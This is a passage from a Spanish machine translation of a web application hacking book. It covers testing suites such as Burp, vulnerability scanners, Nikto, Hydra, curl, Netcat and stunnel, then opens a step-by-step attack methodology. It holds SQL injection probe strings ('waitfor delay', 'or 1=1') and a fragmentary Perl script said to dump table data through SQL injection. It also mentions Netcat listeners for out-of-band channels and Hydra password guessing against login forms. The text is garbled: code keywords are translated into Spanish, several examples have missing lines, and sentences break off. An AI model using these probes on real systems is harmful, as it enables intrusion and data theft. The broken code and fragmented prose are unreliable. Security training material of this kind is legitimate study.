análisis de estos dentro del mapa del sitio.
n Envío automático y guiado por el usuario de formularios con parámetros adecuados (ver
Figura 20-8).
n Detección de respuestas personalizadas de Archivo no encontrado. Muchas
aplicaciones responden con un mensaje HTTP 200 cuando se solicita un recurso no válido.
Si las arañas no pueden reconocer esto, el mapa de contenido resultante contendrá
falsos positivos.
n Comprobación del archivo robots.txt , cuyo objetivo es proporcionar una lista negra
de direcciones URL que no deben rastrearse, pero que una araña atacante puede
usar para descubrir contenido adicional.
n Procesamiento automático y uso de cookies emitidas por la aplicación para permitir que
se realice el rastreo en el contexto de una sesión autenticada. n Prueba automática de
dependencia de sesión de páginas individuales. Esto implica solicitar cada página con y sin
cookies que se hayan recibido. Si se recupera el mismo contenido, la página no requiere
una sesión o autenticación. Esto puede ser útil cuando se buscan algunos tipos de fallas
de control de acceso (consulte el Capítulo 8).
Figura 20-7: Los resultados del spidering pasivo de aplicaciones, donde los elementos en gris
se identificaron pasivamente pero aún no se solicitaron
Aunque es posible realizar un ataque con éxito usando solo técnicas manuales ,
para convertirse en un hacker de aplicaciones web realmente exitoso, necesita
automatizar sus ataques para mejorar su velocidad y efectividad. capitulo 14
Machine Translated by Google
describió en detalle las diferentes formas en que se puede utilizar la automatización en ataques
personalizados. La mayoría de los conjuntos de pruebas incluyen funciones que aprovechan la
automatización para facilitar varias tareas comunes. Aquí hay algunas características comúnmente implementadas:
integradas y funciones versátiles para generar cargas útiles arbitrarias de formas definidas por el
usuario, por ejemplo, basadas en codificación mal formada, sustitución de caracteres, fuerza
bruta y datos recuperados en un ataque anterior. n La capacidad de guardar los resultados de
los ataques y los datos de respuesta para usarlos en informes o incorporarlos en otros ataques.
20-9). n Funciones para extraer datos útiles de las respuestas de la aplicación, por ejemplo,
analizando los campos de nombre de usuario y contraseña en una página Mis detalles. Esto
puede ser útil cuando explota varias vulnerabilidades, incluidas fallas en el manejo de sesiones
y controles de acceso.
n El escaneo pasivo implica monitorear las solicitudes y las respuestas que pasan a través
del proxy local para identificar vulnerabilidades, como el envío de contraseñas en texto
sin cifrar , la configuración incorrecta de cookies y la fuga de referencia entre dominios.
Puede realizar este tipo de escaneo de forma no invasiva con cualquier aplicación que
visite con su navegador. Esta característica suele ser útil cuando se analiza el alcance
de un compromiso de prueba de penetración. Le da una idea de la postura de seguridad
de la aplicación en relación con este tipo de vulnerabilidades. n El análisis activo implica
el envío de nuevas solicitudes a la aplicación de destino para detectar vulnerabilidades,
como secuencias de comandos entre sitios, inyección de encabezado HTTP y recorrido
de ruta de archivo. Como cualquier otra prueba activa, este tipo de análisis es
potencialmente peligroso y solo debe realizarse con el consentimiento del propietario
de la aplicación.
Los escáneres de vulnerabilidades incluidos dentro de los conjuntos de pruebas están más
orientados al usuario que los escáneres independientes que se analizan más adelante en este
capítulo. En lugar de simplemente proporcionar una URL de inicio y dejar que el escáner
rastree y pruebe la aplicación , el usuario puede guiar el escáner por la aplicación, controlar
con precisión qué solicitudes se escanean y recibir comentarios en tiempo real sobre solicitudes
individuales. Aquí hay algunas formas típicas de usar la función de escaneo dentro de un
conjunto de pruebas integradas:
n En Burp Suite, puede habilitar el escaneo en vivo mientras navega. Esto le permite guiar
la cobertura del escáner utilizando su navegador y recibir comentarios rápidos sobre
cada solicitud que realiza, sin necesidad de identificar manualmente las solicitudes que
desea escanear. La figura 20-10 muestra los resultados de un ejercicio de exploración
en vivo.
Machine Translated by Google
Figura 20-10: Los resultados del escaneo en vivo mientras navega con Burp Scanner
Aunque los escáneres de las suites de pruebas integradas están diseñados para usarse de una
manera diferente a los escáneres independientes, en algunos casos el motor de análisis central
tiene una gran capacidad y se compara favorablemente con los de los principales escáneres
independientes, como se describe más adelante en este capítulo.
La función integrada en la suite significa que puede recuperar rápidamente una solicitud interesante de otro
componente (proxy, spider o fuzzer) para una investigación manual . También significa que la herramienta
de solicitud manual se beneficia de las diversas funciones compartidas implementadas dentro de la suite,
como la representación de HTML, la compatibilidad con proxies ascendentes y la autenticación, y la
actualización automática del encabezado de longitud del contenido . La figura 20-11 muestra una solicitud
que se vuelve a emitir manualmente.
Figura 20-11: Una solicitud que se vuelve a emitir manualmente usando Burp Repeater
Las siguientes características a menudo se implementan dentro de las herramientas de solicitud manual:
n Un historial de todas las solicitudes y respuestas, manteniendo un registro completo de todas las
solicitudes manuales para una revisión adicional y permitiendo recuperar una solicitud modificada
previamente para un análisis más detallado.
Machine Translated by Google
n Una interfaz con múltiples pestañas, que le permite trabajar en varios elementos diferentes a la
Figura 20-12: Uso de Burp Sequencer para probar las propiedades de aleatoriedad del
token de sesión de una aplicación
Machine Translated by Google
Además de sus componentes de herramientas principales, los conjuntos de pruebas integrados brindan
una gran cantidad de otras funciones de valor agregado que abordan las necesidades específicas que
surgen cuando se ataca una aplicación web y que permiten que las otras herramientas funcionen en
situaciones inusuales. Las siguientes características son implementadas por las diferentes suites:
n Configuración persistente de las opciones de la herramienta, lo que permite configurar una configuración particular.
reanudado en la próxima ejecución de la suite
n Independencia de la plataforma, lo que permite que las herramientas se ejecuten en todas las operaciones populares
sistemas de ing
La figura 20-14 muestra un flujo de trabajo típico para usar un conjunto de pruebas integradas.
Los pasos clave involucrados en cada elemento de la prueba se describen en detalle
a lo largo de este libro y se recopilan en la metodología establecida en el Capítulo 21.
El flujo de trabajo descrito aquí muestra cómo los diferentes componentes del conjunto de pruebas
encajan en esa metodología.
En este flujo de trabajo, dirige el proceso de prueba general utilizando su navegador.
A medida que navega por la aplicación a través del proxy de interceptación, la suite recopila dos
repositorios de información clave:
n El historial del proxy registra cada solicitud y respuesta que pasa por
el apoderado
n El mapa del sitio registra todos los elementos descubiertos en una vista de árbol de directorio del
objetivo.
(Tenga en cuenta que en ambos casos, los fi ltros de visualización predeterminados pueden ocultar
algunos elementos que normalmente no son de interés durante la prueba).
Como se describe en el Capítulo 4, a medida que navega por la aplicación, el conjunto de pruebas
generalmente realiza una exploración pasiva del contenido descubierto. Esto actualiza el mapa del sitio
con todas las solicitudes que pasan por el proxy. También agrega elementos que tienen
Machine Translated by Google
sido identificado en base al contenido de las respuestas que pasan a través del proxy
(mediante el análisis de enlaces, formularios, scripts, etc.). Después de haber mapeado
manualmente el contenido visible de la aplicación usando su navegador, puede usar
adicionalmente las funciones Spider y Content Discovery para sondear activamente la
aplicación en busca de contenido adicional. Los resultados de estas herramientas también se agregan al mapa del sitio
Reconocimiento y análisis
navegador web
Proxy interceptor
araña
pasiva araña
Araña
activa
superficie de ataque
vulnerabilidades
Figura 20-14: Un flujo de trabajo típico para usar un conjunto de pruebas integradas
técnicas activas. Puede utilizar la herramienta de análisis de tokens para probar las
propiedades de aleatoriedad de las cookies de sesión y otros tokens. Y puede usar el repetidor
de solicitudes para modificar y volver a emitir una solicitud individual repetidamente para
detectar vulnerabilidades o explotar errores que ya haya descubierto. A menudo, pasará
artículos individuales de un lado a otro entre estas diferentes herramientas. Por ejemplo,
puede seleccionar un elemento interesante de un ataque de fuzzing o un problema informado
por el escáner de vulnerabilidades y pasarlo al repetidor de solicitudes para verificar la
vulnerabilidad o refinar un exploit.
Para muchos tipos de vulnerabilidades, normalmente necesitará volver a su navegador
para investigar más a fondo un problema, confirmar si una vulnerabilidad aparente es genuina
o probar un exploit funcional. Por ejemplo, después de haber encontrado una falla de
secuencias de comandos en sitios cruzados usando el escáner de vulnerabilidades o el
repetidor de solicitudes, puede pegar la URL resultante nuevamente en su navegador para
confirmar que se ejecuta la explotación de prueba de concepto. Al probar posibles errores de
control de acceso, puede ver los resultados de solicitudes particulares en su sesión actual del
navegador para confirmar los resultados dentro de un contexto de usuario específico. Si
descubre una falla de inyección SQL que se puede usar para extraer grandes cantidades de
información, puede volver a su navegador como la ubicación más útil para mostrar los resultados.
No debe considerar el flujo de trabajo aquí descrito como rígido o restrictivo. En muchas
situaciones, puede probar errores ingresando una entrada inesperada directamente en su
navegador o en la ventana de intercepción del proxy. Algunos errores pueden ser
inmediatamente evidentes en las solicitudes y respuestas sin la necesidad de involucrar más
herramientas enfocadas en ataques. Puede traer otras herramientas para propósitos
particulares. También puede combinar los componentes del conjunto de pruebas de formas
innovadoras que no se describen aquí y que quizás ni siquiera concibió el autor de la
herramienta. Las suites de prueba integradas son creaciones enormemente poderosas, con
numerosas características interrelacionadas. ¡Cuanto más creativo pueda ser al usarlos, más
probable es que descubra las vulnerabilidades más oscuras!
Alteración de datos
Tamper Data, que se muestra en la Figura 20-15, es una extensión del navegador Firefox.
Cada vez que envía un formulario, Tamper Data muestra una ventana emergente que muestra
todos los detalles de la solicitud, incluidos los encabezados y parámetros HTTP, que puede
ver y modificar.
Figura 20-15: Tamper Data le permite modificar los detalles de la solicitud HTTP dentro de Firefox
sabotaje
TamperIE, que se muestra en la Figura 20-16, implementa esencialmente la misma
funcionalidad dentro del navegador Internet Explorer que Tamper Data en Firefox.
Machine Translated by Google
Estos son algunos ejemplos de vulnerabilidades que se pueden detectar de esta manera:
n Las vulnerabilidades de secuencias de comandos entre sitios reflejadas surgen cuando la entrada
proporcionada por el usuario se repite en las respuestas de la aplicación sin la limpieza adecuada.
Los escáneres automatizados normalmente envían cadenas de prueba que contienen
marcado HTML y buscan las respuestas para estas cadenas, lo que les permite detectar
muchas de estas fallas.
n Algunas vulnerabilidades de inyección SQL se pueden detectar a través de una firma. Por
ejemplo, enviar una comilla simple puede generar un mensaje de error de ODBC o enviar la
cadena '; esperar el retraso '0:0:30': puede provocar un retraso de tiempo. n Algunas
vulnerabilidades de recorrido de ruta se pueden detectar enviando una secuencia de recorrido
solicitando la ruta del directorio y buscando una respuesta que contenga texto que parezca una
lista de directorios.
n Las vulnerabilidades, como el envío de contraseñas en texto sin cifrar, las cookies de alcance
liberal y los formularios con autocompletado habilitado, se pueden detectar de manera
confiable al revisar las solicitudes y respuestas normales que realiza la aplicación. n Los
elementos que no están vinculados desde el contenido principal publicado, como los archivos
de copia de seguridad y los archivos de origen, a menudo se pueden descubrir solicitando
cada recurso enumerado con una extensión de archivo diferente.
una vulnerabilidad puede activarse mediante cadenas estándar, pero es posible que no dé como resultado la
firma esperada. Por ejemplo, muchos ataques de inyección SQL no dan como resultado que se devuelva
ningún dato o mensaje de error al usuario, y una vulnerabilidad de cruce de ruta puede no dar como resultado
que el contenido del archivo de destino se devuelva directamente en la respuesta de la aplicación. En algunos
de estos casos, un escáner sofisticado aún puede identificar la vulnerabilidad, o al menos notar algún
comportamiento anómalo para la investigación manual, pero esto no es factible en todos los casos.
n Controles de acceso rotos, que permiten que un usuario acceda a los datos de otros usuarios, o que
un usuario con pocos privilegios acceda a la funcionalidad administrativa. Un escáner no comprende
los requisitos de control de acceso relevantes para la aplicación, ni puede evaluar la importancia de
las diferentes funciones y datos que descubre usando una cuenta de usuario en particular. n Ataques
que involucran la modificación del valor de un parámetro de una manera que tiene significado dentro
de la aplicación, por ejemplo, un campo oculto que representa el precio de un artículo comprado o el
estado de un pedido. Un escáner no entiende el significado que tiene cualquier parámetro dentro de
la funcionalidad de la aplicación.
n Otras fallas lógicas, como superar un límite de transacción usando un valor negativo, o pasar por alto
una etapa de un proceso de recuperación de cuenta al omitir un parámetro de solicitud clave.
Ataques de secuestro de sesión en los que se puede detectar una secuencia en los tokens de
sesión de la aplicación, lo que permite que un atacante se haga pasar por otros usuarios.
Incluso si un escáner puede reconocer que un parámetro en particular tiene un valor predecible a
través de inicios de sesión sucesivos, no comprenderá la importancia del contenido diferente que
resulta de modificar ese parámetro. n Fuga de información confidencial, como listados de nombres
de usuario y registros
que contienen tokens de sesión.
Dentro de las dos listas anteriores de vulnerabilidades, cada lista contiene defectos que
pueden clasificarse como fruta fácil de alcanzar, aquellos que un atacante con habilidades
modestas puede detectar y explotar fácilmente. Por lo tanto, aunque un escáner automatizado
a menudo detectará una proporción decente de la fruta madura dentro de una aplicación,
normalmente también perderá una cantidad significativa de estos problemas , ¡incluyendo
algunas frutas maduras que cualquier ataque manual detectaría!
Obtener un certificado de buena salud de un escáner automatizado nunca proporciona una
garantía sólida de que la aplicación no contenga algunas vulnerabilidades graves que se
puedan encontrar y explotar fácilmente.
También es justo decir que en las aplicaciones más críticas para la seguridad que existen
actualmente, que han estado sujetas a requisitos y pruebas de seguridad más estrictos, las
vulnerabilidades que quedan tienden a ser las que aparecen en la segunda lista, en lugar de
las primeras. .
Las aplicaciones web difieren marcadamente del dominio de las redes y las infraestructuras ,
en las que una instalación típica emplea productos listos para usar en configuraciones más o
menos estándar. En el caso de la infraestructura de red, en principio es posible construir por
adelantado una base de datos de todos los objetivos posibles y crear una herramienta para
investigar cada defecto asociado. Esto no es posible con aplicaciones web personalizadas,
por lo que cualquier escáner efectivo debe esperar lo inesperado.
Las computadoras no tienen intuición sobre la mejor manera de proceder. El enfoque de los
escáneres de hoy es en gran parte intentar cada ataque contra cada función. Esto impone
un límite práctico a la variedad de comprobaciones que se pueden realizar y las formas en
que se pueden combinar. Este enfoque pasa por alto las vulnerabilidades en muchos casos:
n El escáner debe poder interactuar con cualquier mecanismo de manejo de sesiones que
utilice la aplicación. Esto puede implicar la transmisión de un token de sesión en una
cookie, en un campo de formulario oculto o dentro de la cadena de consulta de URL.
Los tokens pueden ser estáticos a lo largo de la sesión o pueden cambiar según la
solicitud , o la aplicación puede emplear un mecanismo personalizado diferente.
n El escáner debe ser capaz de detectar cuando su sesión ha dejado de ser válida para que
pueda volver a la etapa de autenticación para adquirir una nueva. Esto puede ocurrir por
varias razones. Quizás el escáner solicitó la función de cierre de sesión, o la aplicación
terminó la sesión porque el escáner realizó una navegación anormal o envió una entrada
no válida.
El escáner debe detectar esto tanto durante sus ejercicios iniciales de mapeo como
durante su posterior sondeo de vulnerabilidades. Diferentes aplicaciones se comportan
de formas muy diferentes cuando una sesión deja de ser válida. Para un escáner que
solo analiza el contenido sintáctico de las respuestas de la aplicación, esto puede ser un
desafío difícil de cumplir en general, particularmente si se utiliza un mecanismo de
manejo de sesión no estándar.
Machine Translated by Google
Es justo decir que algunos de los escáneres actuales hacen un trabajo razonable al trabajar
con la mayoría de los mecanismos de autenticación y manejo de sesiones que están en uso. Sin
embargo, quedan numerosos casos en los que los escáneres tienen problemas. Como resultado,
es posible que no rastreen o escaneen correctamente partes clave de la superficie de ataque de
una aplicación. Debido a la forma totalmente automatizada en que funcionan los escáneres
independientes, esta falla normalmente no es evidente para el usuario.
Efectos peligrosos
En muchas aplicaciones, ejecutar un análisis automático sin restricciones sin ninguna
guía para el usuario puede ser bastante peligroso para la aplicación y los datos que contiene.
Por ejemplo, un escáner puede descubrir una página de administración que contiene funciones
para restablecer las contraseñas de los usuarios, eliminar cuentas, etc. Si el escáner solicita a
ciegas todas las funciones, esto puede provocar que se deniegue el acceso a todos los usuarios
de la aplicación. De manera similar, el escáner puede descubrir una vulnerabilidad que puede
explotarse para corromper gravemente los datos contenidos en la aplicación.
Por ejemplo, en algunas vulnerabilidades de inyección SQL, enviar cadenas de ataque SQL
estándar como o 1=1 provoca que se realicen operaciones imprevistas en los datos de la
aplicación. Un ser humano que entiende el propósito de una función en particular puede proceder
con cautela por este motivo, pero un escáner automatizado carece de esta comprensión.
Funcionalidad de individualización
Hay muchas situaciones en las que un análisis puramente sintáctico de una aplicación no logra
identificar correctamente su conjunto básico de funciones individuales:
n Algunas aplicaciones contienen una cantidad colosal de contenido que incluye el mismo
conjunto básico de funciones. Por ejemplo, aplicaciones como eBay, MySpace y Amazon
contienen millones de páginas de aplicaciones diferentes con diferentes URL y contenido,
pero estas corresponden a un número relativamente pequeño de funciones reales de la
aplicación.
n Algunas aplicaciones pueden no tener un límite finito cuando se analizan desde una
perspectiva puramente sintáctica. Por ejemplo, una aplicación de calendario puede
permitir a los usuarios navegar a cualquier fecha. De manera similar, algunas aplicaciones
con una cantidad finita de contenido emplean direcciones URL volátiles o solicitan
parámetros para acceder al mismo contenido en diferentes ocasiones, lo que hace que
los escáneres continúen mapeando indefinidamente.
n Las propias acciones del escáner pueden dar como resultado la aparición de contenido
aparentemente nuevo. Por ejemplo, enviar un formulario puede hacer que aparezca un
nuevo enlace en la interfaz de la aplicación y acceder al enlace puede recuperar otro
formulario que tenga el mismo comportamiento.
Machine Translated by Google
requieren la participación humana inteligente para comprender los requisitos, configurar las
herramientas de prueba de manera adecuada y monitorear su desempeño.
Productos Actuales
El mercado de los escáneres web automatizados ha prosperado en los últimos años, con una
gran cantidad de innovación y una amplia gama de productos diferentes. Estos son algunos
de los escáneres más destacados:
n Acunetix
n AppScan n
Escáner de eructos
n Granizo
n NetSparker
n N-Stalker
n NTOSpider n
Skipfish n
WebInspect
www.cs.ucsb.edu/~adoupe/static/black-box-scanners-dimva2010.pdf
Machine Translated by Google
aplicaciones web modernas puede ser un serio desafío para los escáneres de vulnerabilidades
web de hoy en día debido al soporte incompleto para las tecnologías comunes del lado del
cliente y la compleja naturaleza con estado de las aplicaciones actuales.
n No existe una fuerte correlación entre el precio y la capacidad. Algunos escáneres gratuitos o
muy rentables funcionan tan bien como escáneres que cuestan miles de dólares.
El estudio asignó a cada escáner una puntuación basada en su capacidad para identificar
diferentes tipos de vulnerabilidades. La Tabla 20-1 muestra las puntuaciones generales y el precio
de cada escáner.
Tabla 20-1: Rendimiento de detección de vulnerabilidades y precios de diferentes escáneres según el estudio de UCSB
w3af 9 Gratis
Paros 6 Gratis
Granizada 6 $10,000
NTOSpider 4 $10,000
escáner.
Machine Translated by Google
n Tenga en cuenta que los escáneres son extremadamente ruidosos y dejan una
huella significativa en los registros del servidor y cualquier defensa IDS. No utilice
un escáner si quiere ser sigiloso.
Una consideración clave en el uso de los escáneres web es la medida en que desea dirigir
el trabajo realizado por el escáner. Los dos casos de uso extremos en esta decisión son los
siguientes:
Los escáneres web independientes están más orientados hacia el primero de estos casos de uso.
Los escáneres que se incorporan a las suites de pruebas integradas están más orientados
hacia el segundo caso de uso. Dicho esto, ambos tipos de escáneres le permiten adoptar
un enfoque más híbrido si así lo desea.
Para los usuarios que son novatos en seguridad de aplicaciones web, o que requieren
una evaluación rápida de una aplicación, o que manejan una gran cantidad de aplicaciones
de forma regular, un análisis completamente automatizado proporcionará una idea de parte
de la superficie de ataque de la aplicación. Esto puede ayudarlo a tomar una decisión
informada sobre qué nivel de pruebas más completas se garantiza para la aplicación.
Para los usuarios que entienden cómo se realizan las pruebas de seguridad de
aplicaciones web y que conocen las limitaciones de la automatización total, la mejor forma
de usar un escáner es dentro de un conjunto de pruebas integradas para respaldar y
mejorar el proceso de prueba manual. Este enfoque ayuda a evitar muchos de los desafíos
técnicos que enfrentan los escáneres totalmente automatizados. Puede guiar el escáner
usando su navegador para asegurarse de que no se pierdan áreas clave de funcionalidad.
Puede escanear directamente las solicitudes reales generadas por la aplicación, que
contienen datos con el contenido y el formato correctos que requiere la aplicación. Con un
control total sobre lo que se escanea, puede evitar la funcionalidad peligrosa, reconocer la
funcionalidad duplicada y superar cualquier requisito de validación de entrada con el que
pueda tener problemas un escáner automatizado. Además, cuando tiene comentarios
directos sobre la actividad del analizador, puede asegurarse de que se eviten los problemas
con la autenticación y el manejo de la sesión y que los problemas causados por los procesos
de varias etapas y las funciones con estado se manejen correctamente. Al usar un escáner
de esta manera, puede cubrir una importante gama de vulnerabilidades cuya detección
puede automatizarse. Esto lo liberará para buscar los tipos de vulnerabilidades que
requieren inteligencia y experiencia humana para descubrir.
Machine Translated by Google
Otras herramientas
Además de las herramientas ya discutidas, puede encontrar muchas otras útiles en una situación
específica o para realizar una tarea en particular. El resto de este capítulo describe algunas otras
herramientas que probablemente encontrará y utilizará al atacar aplicaciones. Cabe señalar que
este es solo un breve repaso de algunas herramientas que los autores han utilizado. Se recomienda
que investigue las diversas herramientas disponibles y elija las que mejor se adapten a sus
necesidades y estilo de prueba.
Wikto/Nikto
Nikto es útil para ubicar contenido predeterminado o común de terceros que existe en un servidor
web. Contiene una gran base de datos de archivos y directorios, incluidas páginas predeterminadas
y secuencias de comandos que se envían con servidores web, y elementos de terceros, como
software de carrito de compras. La herramienta esencialmente funciona solicitando cada elemento
por turno y detectando si existe.
La base de datos se actualiza con frecuencia, lo que significa que Nikto suele ser más eficaz
que cualquier otra técnica automática o manual para identificar este tipo de contenido.
Nikto implementa una amplia gama de opciones de configuración, que se pueden especificar
en la línea de comandos o mediante un archivo de configuración basado en texto. Si la aplicación
usa una página personalizada "no encontrada", puede evitar falsos positivos usando la configuración
-404 , que le permite especificar una cadena que aparece en la página de error personalizada.
Wikto es una versión para Windows de Nikto que tiene algunas características adicionales,
como la detección mejorada de respuestas personalizadas "no encontradas" y la minería de
directorios asistida por Google.
bicho de fuego
Firebug es una herramienta de depuración del navegador que le permite depurar y editar HTML y
JavaScript en tiempo real en la página que se muestra actualmente. También puede explorar y
editar el DOM.
Firebug es extremadamente poderoso para analizar y explotar una amplia gama de ataques del
lado del cliente, incluidos todo tipo de secuencias de comandos entre sitios, falsificación de
solicitudes y reparación de IU, y captura de datos entre dominios, como se describe en el Capítulo 13.
Hidra
Hydra es una herramienta para adivinar contraseñas que se puede utilizar en una amplia gama de
situaciones, incluso con la autenticación basada en formularios que se utiliza comúnmente en la web.
Machine Translated by Google
aplicaciones Por supuesto, puedes utilizar una herramienta como Burp Intruder para ejecutar
cualquier ataque de este tipo de forma totalmente personalizada; sin embargo, en muchas
situaciones, Hydra puede ser igual de útil.
Hydra le permite especificar la URL de destino, los parámetros de solicitud relevantes, las listas
de palabras para atacar los campos de nombre de usuario y contraseña, y los detalles del mensaje
de error que se devuelve después de un inicio de sesión fallido. La configuración -t se puede usar
para especificar la cantidad de subprocesos paralelos que se usarán en el ataque. Por ejemplo:
Guiones personalizados
Según la experiencia de los autores, las diversas herramientas estándar que existen son
suficientes para ayudarlo a realizar la gran mayoría de las tareas que debe realizar cuando ataca
una aplicación web. Sin embargo, en diversas situaciones inusuales, deberá crear sus propias
herramientas y secuencias de comandos personalizadas para abordar un problema en particular.
Por ejemplo:
n La aplicación utiliza un mecanismo de manejo de sesión inusual, como uno que involucra
tokens por página que deben volver a enviarse en la secuencia correcta. n Quiere explotar
una vulnerabilidad que requiere que se realicen varios pasos específi cos repetidamente, con
los datos recuperados en una respuesta incorporados en las solicitudes subsiguientes.
suites descritas anteriormente. Por ejemplo, puede utilizar la interfaz de Burp Extender para
ampliar Burp Suite o la interfaz de BeanShell para ampliar WebScarab.
Los lenguajes de secuencias de comandos, como Perl, contienen bibliotecas para facilitar
la comunicación HTTP y, a menudo, puede realizar tareas personalizadas con solo unas
pocas líneas de código. Incluso si tiene una experiencia de programación limitada, a menudo
puede encontrar un script en Internet que puede modificar para satisfacer sus necesidades .
El siguiente ejemplo muestra un script Perl simple que aprovecha una vulnerabilidad de
inyección SQL en un formulario de búsqueda para realizar consultas recursivas y recuperar
todos los valores en una columna de tabla especificada. Comienza con el valor más alto y se
itera hacia abajo (consulte el Capítulo 9 para obtener más detalles sobre este tipo de ataque):
usar HTTP::Solicitud::Común;
utilizar LWP::UserAgent;
si ($#ARGV!=3) {
imprimir "uso: perl sql.pl SELECCIONAR columna DE la tabla\n"; salida;
mientras(1) {
} más
{salida;}
}
Machine Translated by Google
¡INTENTALO!
http://mdsec.net/libro de direcciones/32/
Obtener
Wget es una herramienta útil para recuperar una URL específica usando HTTP o HTTPS.
Puede admitir un proxy descendente, autenticación HTTP y varias otras opciones de
configuración.
Rizo
Curl es una de las herramientas de línea de comandos más flexibles para emitir
solicitudes HTTP y HTTPS. Admite métodos GET y POST , parámetros de solicitud,
certificados SSL de cliente y autenticación HTTP. En el siguiente ejemplo, el título de
la página se recupera para valores de ID de página entre 10 y 40:
#!/bin/bash
para i en `seq 10 40`;
hacer
eco -n $i ":"
curl -s http://mdsec.net/app/ShowPage.ashx?PageNo==$i | grep -Po “<título>(.*)</título>” |
sed's/.......\(.*\)......../\1/'
hecho
¡INTENTALO!
http://mdsec.net/app/
Netcat
Netcat es una herramienta versátil que se puede utilizar para realizar numerosas tareas
relacionadas con la red. Es la piedra angular de muchos tutoriales de piratería para principiantes.
Puede usarlo para abrir una conexión TCP a un servidor, enviar una solicitud y recuperar la respuesta.
Además de este uso, Netcat se puede usar para crear una escucha de red en su computadora
para recibir conexiones de un servidor que está atacando. Ver Capítulo 9
Machine Translated by Google
para ver un ejemplo de esta técnica que se usa para crear un canal fuera de banda en un
ataque a la base de datos.
Netcat en sí mismo no admite conexiones SSL, pero esto se puede lograr si
se usa en combinación con la herramienta stunnel, que se describe a continuación.
aturdir
Stunnel es útil cuando trabaja con sus propios scripts u otras herramientas que no admiten conexiones
HTTPS. Stunnel le permite crear conexiones SSL de cliente a cualquier host o sockets SSL de servidor
para escuchar las conexiones entrantes de cualquier cliente. Debido a que HTTPS es simplemente el
protocolo HTTP tunelizado sobre SSL, puede usar stunnel para proporcionar capacidades HTTPS a
cualquier otra herramienta.
Por ejemplo, el siguiente comando muestra la configuración de stunnel para crear un socket de
servidor TCP simple en el puerto 88 de la interfaz de loopback local. Cuando se recibe una conexión,
stunnel realiza una negociación SSL con el servidor en wahh-app.com, reenviando la conexión de
texto no cifrado entrante a través del túnel SSL a este servidor:
Ahora puede simplemente señalar cualquier herramienta que no sea compatible con SSL en el
puerto 88 en la interfaz de bucle invertido. Esto se comunica efectivamente con el servidor de destino
a través de HTTPS:
Resumen
Este libro se ha centrado en las técnicas prácticas que puede utilizar para atacar aplicaciones web.
Aunque algunas de estas tareas se pueden llevar a cabo usando solo un navegador, para realizar un
ataque efectivo y completo de una aplicación, se necesitan algunas herramientas.
gran cantidad de otras herramientas integradas que pueden ayudar a automatizar muchas de las
tareas que deberá realizar. Además de uno de estos conjuntos de herramientas, debe usar una o
más extensiones de navegador que le permitan continuar trabajando en situaciones en las que no
se puede usar un proxy.
El otro tipo principal de herramienta que puede emplear es un escáner de aplicación web
independiente . Estas herramientas pueden ser efectivas para descubrir rápidamente una variedad
de vulnerabilidades comunes y también pueden ayudarlo a mapear y analizar la funcionalidad de
una aplicación. Sin embargo, no pueden identificar muchos tipos de fallas de seguridad , y no puede
confiar en ellos para dar un certificado de salud completamente limpio a cualquier aplicación.
CAPÍTULO R
21
Un hacker de aplicaciones web
Metodología
Este capítulo contiene una metodología detallada paso a paso que puede seguir al
atacar una aplicación web. Cubre todas las categorías de vulnerabilidades y técnicas
de ataque descritas en este libro. Seguir todos los pasos de esta metodología no
garantiza que descubra todas las vulnerabilidades dentro de una aplicación
determinada. Sin embargo, le proporcionará un buen nivel de seguridad de que ha
probado todas las regiones necesarias de la superficie de ataque de la aplicación y
ha encontrado tantos problemas como sea posible con los recursos disponibles.
La Figura 21-1 ilustra las principales áreas de trabajo que describe esta metodología.
Profundizaremos en este diagrama e ilustraremos la subdivisión de tareas que implica
cada área. Los números en los diagramas corresponden a la lista numerada jerárquica
utilizada en la metodología, por lo que puede saltar fácilmente a las acciones
involucradas en un área específica.
La metodología se presenta como una secuencia de tareas que se organizan y
ordenan según las interdependencias lógicas entre ellas. En la medida de lo posible,
estas interdependencias se destacan en las descripciones de las tareas. Sin embargo,
en la práctica, con frecuencia necesitará pensar con imaginación sobre la dirección
en la que deben ir sus actividades y permitir que estas se guíen por lo que descubra
sobre la aplicación que está atacando. Por ejemplo:
791
Machine Translated by Google
algunas áreas pueden resaltar patrones de vulnerabilidades recurrentes que puede investigar
de inmediato en otras áreas.
Por ejemplo, un defecto genérico en los filtros de validación de entrada de la aplicación
puede permitirle encontrar rápidamente una omisión de sus defensas contra varias
categorías diferentes de ataque.
Reconocimiento y análisis
2. Analizar la aplicación
3. Pruebe los controles del 4. Prueba 7. Fuzz todos 10. Prueba de problemas de
8. Prueba de problemas
9. Prueba de fallas 5. Gestión de la sesión 11. Prueba la web
con funcionalidades
lógicas de prueba servidor
específicas
6. Controles de
acceso de prueba
Utilice los pasos de esta metodología para guiar su trabajo y como una lista de verificación
para evitar descuidos, pero no se sienta obligado a adherirse a ellos con demasiada rigidez. Guardar
Machine Translated by Google
el siguiente pensamiento en mente: las tareas que describimos son en gran parte estándar
y ortodoxas; los ataques más impresionantes contra las aplicaciones web siempre implican
pensar más allá de ellas.
Reglas generales
Siempre debe tener en cuenta algunas consideraciones generales al realizar las tareas
detalladas involucradas en atacar una aplicación web. Estos pueden aplicarse a todas las
diferentes áreas que necesita examinar y las técnicas que necesita llevar a cabo.
1.1.3 Navegue por toda la aplicación de manera normal, visitando cada enlace y URL,
enviando cada formulario y procediendo a través de todas las funciones de varios
pasos hasta completarlas. Prueba a navegar con JavaScript habilitado y
deshabilitado, y con las cookies habilitadas y deshabilitadas. Muchas aplicaciones
pueden manejar varias configuraciones de navegador, y puede llegar a diferentes
rutas de contenido y código dentro de la aplicación.
1.1.4 Si la aplicación usa autenticación y usted tiene o puede crear una cuenta de inicio
de sesión, utilícela para acceder a la funcionalidad protegida.
1.1.5 Mientras navega, controle las solicitudes y respuestas que pasan a través de su
proxy de intercepción para comprender los tipos de datos que se envían y las
formas en que se utiliza el cliente para controlar el comportamiento de la
aplicación del lado del servidor.
1.1.6 Revise el mapa del sitio generado por el rastreo pasivo e identifique cualquier
contenido o funcionalidad que no haya recorrido usando su navegador. A partir
de los resultados de la araña, establezca dónde se descubrió cada elemento (por
ejemplo, en Burp Spider, verifique los detalles de Vinculado desde). Acceda a
cada elemento usando su navegador para que la araña analice la respuesta del
servidor para identificar cualquier contenido adicional. Continúe este paso
recursivamente hasta que no se identifique más contenido o funcionalidad.
Machine Translated by Google
1.2.3 Realice búsquedas sobre cualquier nombre y dirección de correo electrónico que
haya descubierto en el contenido de la aplicación, como información de contacto.
Incluya elementos que no aparecen en pantalla, como comentarios HTML. Además
de búsquedas web, realiza búsquedas de noticias y grupos. Busque los detalles
